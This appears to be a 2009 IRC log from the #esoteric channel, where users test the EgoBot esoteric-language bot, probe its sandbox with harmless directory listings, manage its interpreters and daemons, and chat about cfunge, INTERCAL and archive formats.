PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","ls -l $home",0); < 1241370720 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: Makefile: Function not implemented < 1241370729 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, ls is a program, so sh will want to fork into it. < 1241370737 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh. < 1241370741 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/sh","/bin/sh","-c","exec ls -l $home",0); < 1241370742 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: Makefile: Function not implemented < 1241370747 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Meh! < 1241370748 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!c execlp("/bin/ls","/bin/ls","-l","/home/egobot",0); < 1241370749 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :/bin/ls: /home/egobot: Function not implemented < 1241370772 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :........ that's weird. < 1241370772 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :[17:12] drwxrwxrwx 0 0 0 0 Jan 1 1970 egobot.hg < 1241370783 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it seems it can read the file, but not determine modfile or link count or something < 1241370786 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Ah, less weird. < 1241370794 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*modtime < 1241370816 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Why not a fork limit of, like, 10? *Just* enough for non-abusive purposes? < 1241370841 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because 10 processes are a lot harder to sandbox than one < 1241370843 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241370844 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo foobar forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241370846 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!sh echo 'People clearly want to play with sh, so enjoy.' < 1241370847 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :People clearly want to play with sh, so enjoy. < 1241370852 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!userinterps < 1241370852 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Installed user interpreters: better_hello bfbignum echo foobar hello < 1241370854 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: stick an INTERCAL interp in there/ < 1241370857 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!hello < 1241370858 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Unknown command () encountered < 1241370860 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!foobar < 1241370866 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: C-INTERCAL? < 1241370866 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!better_hello < 1241370875 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: You realize they need input, right? :P < 1241370878 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: it's saner than CLC-INTERCAL < 1241370881 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!hello h < 1241370882 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello World < 1241370882 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!better_hello h < 1241370883 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello, world < 1241370895 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Is that an advertisement for C-INTERCAL, or CLC-INTERCAL? < 1241370898 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :both < 1241370905 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :>_> < 1241370905 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although, CLC-INTERCAL would have a simpler interface < 1241370907 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Not really. plimits work just as well for 1 and 10. < 1241370909 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I was hoping one of those would be something that doesn't, so I could discern what it is < 1241370910 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :C-INTERCAL needs to fork gcc to compile < 1241370918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :whereas with CLC-INTERCAL, you can just use -lRun to run the program < 1241370957 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: hello and better_hello are C implementations of Hello (the language that only accepts 'h'), echo echos, bfbignum implements bignum BF on top of normal BF, and foobar ... well, I don't remember foobar. < 1241370960 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!echo hi < 1241370960 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1241370976 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: /me pokes around. < 1241370976 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!foobar 64 and 64 and 64, oh my. < 1241370977 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :64 and 64 and 64, oh my. < 1241370982 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Cat. < 1241370982 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric ::-P < 1241370987 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It seems that foobar echos too :P < 1241370990 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :(Not http://www.esolangs.org/wiki/Foobar) < 1241371008 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :foobar and foobaz and barbaz, oh my? < 1241371016 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1241371030 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp foobar < 1241371030 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter foobar deleted. < 1241371044 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp bfbignum < 1241371044 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter bfbignum deleted. < 1241371054 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :X_X < 1241371054 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp delinterp < 1241371054 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :That interpreter doesn't exist! < 1241371065 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp '' < 1241371066 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :That interpreter doesn't exist! < 1241371067 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp "" < 1241371068 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :That interpreter doesn't exist! < 1241371072 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b < 1241371074 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp bfbignum bf http://esoteric.voxelperfect.net/files/brainfuck/src/kbfi.b < 1241371074 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter bfbignum installed. < 1241371078 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :!h g < 1241371080 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :!h h < 1241371090 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :!hello h < 1241371090 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!hello h < 1241371091 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello World < 1241371091 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Hello World < 1241371100 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!h g < 1241371100 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :X_X < 1241371102 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!hello g < 1241371103 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Unknown command (g) encountered < 1241371117 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :!better_hello g < 1241371124 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what forms of giving input to programs does EgoBot support atm? < 1241371139 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: With !daemon, stdin. < 1241371150 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!daemon anotherecho bf ,[.,] < 1241371150 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon anotherecho running. < 1241371150 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!addinterp slowbf98 befunge98 iki.fi/deewiant/files/befunge/programs/slowdown.b98 < 1241371150 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter slowbf98 installed. < 1241371153 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!anotherecho hi < 1241371154 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1241371156 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!anotherecho hibye < 1241371157 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hibye < 1241371162 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!kill anotherecho < 1241371162 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon anotherecho killed. < 1241371177 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!slowbf98 a"dlrow ,olleh">:#,_@ < 1241371195 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: is slowdown foolable, by the way? < 1241371198 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It'll get killed after 30 seconds :P < 1241371204 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: It shouldn't be /that/ slow < 1241371205 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, can a program running inside slowdown tell that it's been slowed? < 1241371217 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, since the storage offset isn't (0,0) < 1241371218 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, cfunge was optimising to try to handle slowdown in reasonable speed < 1241371239 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aaaaaaaaaaah! < 1241371244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :too much scrollback to read < 1241371249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so did anything important happen < 1241371251 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: we've been playing with EgoBot < 1241371252 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241371253 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl < 1241371260 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!info < 1241371260 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ < 1241371262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241371265 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Everybody wurves EgoBot :P < 1241371271 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how many new languages < 1241371284 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: None of significance, but it has both !addinterp and !daemon now. < 1241371312 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: How did you build cfunge? < 1241371320 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: cmake :P < 1241371322 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or wait, that shouldn't matter for that < 1241371331 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I was wondering whether EXACT_BOUNDS was on or off < 1241371333 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(The only difference being that when you use an !addinterp, it runs it once for each line of input, whereas when you use a !daemon, a single instance gets all input) < 1241371338 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :But since that doesn't wrap it shouldn't matter < 1241371347 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: It is still running, it's just not saying anything :P < 1241371351 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help addinterp < 1241371351 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl < 1241371353 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241371353 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: O_o < 1241371359 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That is odd. < 1241371359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, add help for it < 1241371362 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Nowait, it got killed for taking too long, sowwy :P < 1241371368 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Are you on a 286? < 1241371375 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: No, an 8086 < 1241371377 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, exact bounds are on iirc < 1241371384 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Seriously, that should take a couple of seconds at most. < 1241371394 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Even on a not-very-new machine. < 1241371402 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!befunge98 a"dlrow ,olleh">:#,_@ < 1241371403 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :hello, world < 1241371406 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, which line < 1241371413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241371424 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: It takes 0.02s here, FWIW. < 1241371446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!daemon < 1241371446 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon running. < 1241371448 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Or hmm < 1241371450 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help daemon < 1241371450 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh slowbf98 test trigger udage01 underload unlambda whirl < 1241371454 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!kill < 1241371454 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Daemon killed. < 1241371457 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Do you give the program in stdin? < 1241371458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, add help for them < 1241371460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1241371463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :um < 1241371463 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :really, a null daemon is pretty pointless < 1241371470 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Yes. < 1241371474 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That'd explain it. < 1241371477 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I am. < 1241371478 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It wants a command line arg. < 1241371482 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Too bad. < 1241371483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, it runs in sandbox mode < 1241371485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so it can't load a file < 1241371491 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :with i or such < 1241371497 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Oh, meh. < 1241371500 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!delinterp slowbf98 < 1241371500 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Interpreter slowbf98 deleted. < 1241371545 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :i only works on files so it would've been too much work to deal with stdin :-P < 1241371576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!befunge98 ;@.1;#; "file.b98"00 #; i 2.@ < 1241371576 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :1 < 1241371577 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :/dev/stdin? < 1241371581 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as I expected < 1241371587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you can't mmap() stdin < 1241371598 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so then you would need to write a patch to how files are loaded < 1241371602 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :err, you use mmap for i, with no fallback to something unmappable? < 1241371670 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that would need a different parser then. Since if I used fread() or such I would have to deal with \r at end of block might be followed by \n at the start of next < 1241371689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that complexity was the main reason I used mmap() to begin with :P < 1241371694 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could just use fgetc < 1241371707 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, feel free to use FILE :) < 1241371721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I don't think it is a bug anyway. < 1241371771 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and i would still be banned in sandbox mode. Since the check is done quite early on < 1241371778 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, yes < 1241371792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in -S it acts like i and o are not implemented. And y reports that way. < 1241371867 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!help addinterp < 1241371867 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :addinterp: !addinterp . Add a new interpreter to EgoBot. This interpreter will be run once every time you type ! , and receive the program code as input. < 1241371885 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!help daemon < 1241371886 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. < 1241371920 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241371920 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241371924 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help befunge98 < 1241371924 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I have no help for befunge98! < 1241371927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help foo < 1241371927 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I have no help for foo! < 1241371930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :good < 1241371933 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241371933 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241371938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!help a b < 1241371938 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I have no help for a_b! < 1241371941 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1241371944 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Only addinterp, daemon and friends are !help'd right now. < 1241371959 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!help $#@$#@$ < 1241371960 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, I have no help for _______! < 1241371966 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And yes, it does sanitize its arguments :P < 1241371974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, you could make this tell language name and url for each < 1241371974 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :!help daemon < 1241371974 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :daemon: !daemon . Add a daemon to EgoBot. A daemon will run in the background, and accept a line of input every time ! is run. Note that daemons are only allotted one line of output for each line of input. < 1241371985 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I could. So could you ;) < 1241371987 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, maybe fetch data from USED_VERSION < 1241371989 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or such < 1241371995 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: If only USED_VERSION was useful >_> < 1241372005 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, no, I'm preparing a cfunge 0.4.1 atm < 1241372017 0 :MizardX!i=MizardX@92.254.128.248 JOIN :#esoteric < 1241372021 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :......................... /me fails to see how that's relevant to this. < 1241372028 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :" AnMaster: I could. So could you ;)" < 1241372028 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION goes back to adding INTERCAL < 1241372031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in "busy" < 1241372033 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh :P < 1241372135 0 :Slereah!n=butt@ANantes-259-1-117-100.w92-139.abo.wanadoo.fr JOIN :#esoteric < 1241372208 0 :WangZeDong!unknown@unknown.invalid QUIT :Success < 1241372285 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Bleh, CLC-INTERCAL pretty much can't live without being installed, can it ... < 1241372326 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, but you can install it into a hierarchy somewhere else < 1241372333 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and then use PERL5LIBS or command-line options to tell it where < 1241372344 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in theory, at least, I've never tried < 1241372363 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION hates makemaker, but tries to remember it to be fair. < 1241372435 0 :nooga!n=nooga@86-63-114-141.sta.asta-net.com.pl JOIN :#esoteric < 1241372500 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i'd like to have something like botnet, but made to perform distributed computing :d < 1241372519 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :like erm... silent seti@home < 1241372583 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :How about protein folding. < 1241372592 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I WILL FORCE YOU TO CURE CANCER WHETHER YOU LIKE IT OR NOT < 1241372600 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :that'd be sick < 1241372623 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :computer slave labour ;F < 1241372992 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I hear you can buy botnet access from CRIMINALS; I wonder if any research lab has done "oh, crud, we have to compute this simulation before weekend, but our cluster is too small; let's call the Storm guys". < 1241373067 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :lol :D < 1241373308 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: CLC-INTERCAL installed < 1241373315 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :maybe i should try this "yellow/red/orange square" trick from 4chan < 1241373331 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!help < 1241373332 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Supported commands: addinterp bf_txtgen daemon daemons delinterp help info kill userinterps 1l 2l adjust asm axo bch befunge befunge98 better_hello bf bf16 bf32 bf8 bfbignum c cxx dimensifuck echo forth glass glypho hello intercal kipple lambda lazyk linguine malbolge pbrain perl qbf rail rhotor sadol sceql sh test trigger udage01 underload unlambda whirl < 1241373346 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :!intercal DO READ OUT #4 < 1241373351 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :*000 Invalid statement < 1241373363 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it gave the correct answer, but gave the error first < 1241373368 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :lawl :P < 1241373374 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!c ? < 1241373375 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241373379 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why it errored? < 1241373379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :156K cfunge-0.4.1.tar.bz2 < 1241373379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :186K cfunge-0.4.1.tar.gz < 1241373379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :148K cfunge-0.4.1.tar.lzma < 1241373384 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so which one should I use < 1241373395 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :.Z < 1241373400 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Or .rar < 1241373402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'd go for bz2 because it is easier to unpack < 1241373410 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Easier than .gz? < 1241373412 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :So long as it's an obnoxious format that's difficult to unpack. < 1241373413 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("eeek"); < 1241373414 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :eeek < 1241373414 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, can't do rar. .Z I could do < 1241373417 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, as easy < 1241373428 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :You have access to compress? :P Solaris? < 1241373435 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :do .pax, not .tar < 1241373444 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Do .shar, not .pax < 1241373454 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :.a < 1241373455 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, yes if I ever post it on Usenet < 1241373456 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :325K cfunge-0.4.1.tar.Z < 1241373457 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw < 1241373458 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, ^ < 1241373460 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but things should be used for what they're designed for < 1241373463 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :way too large < 1241373468 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :.zip < 1241373471 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :... encode it as Brainfuck? .bf.gz < 1241373473 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :AARGH < 1241373488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant, how do you do that on command line < 1241373499 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :What < 